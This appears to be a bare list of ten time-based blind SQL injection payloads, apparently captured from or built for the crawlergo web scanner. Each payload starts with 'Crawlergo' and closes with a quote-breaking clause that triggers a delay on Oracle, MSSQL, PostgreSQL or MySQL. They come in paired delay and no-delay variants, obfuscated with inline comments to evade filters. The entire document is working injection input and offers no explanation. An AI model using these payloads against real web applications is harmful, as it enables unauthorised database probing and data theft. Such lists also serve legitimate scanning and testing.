Crawlergo'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('o',2)='o
Crawlergo'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('r',0)='r
Crawlergo'and(select+1)>0waitfor/**/delay'0:0:2
Crawlergo'and(select+1)>0waitfor/**/delay'0:0:0
Crawlergo'/**/and(select'1'from/**/pg_sleep(2))::text>'0
Crawlergo'/**/and(select'1'from/**/pg_sleep(0))::text>'0
Crawlergo"and(select*from(select+sleep(2))a/**/union/**/select+1)="
Crawlergo"and(select*from(select+sleep(0))a/**/union/**/select+1)="
Crawlergo'and(select*from(select+sleep(2))a/**/union/**/select+1)='
Crawlergo'and(select*from(select+sleep(0))a/**/union/**/select+1)='
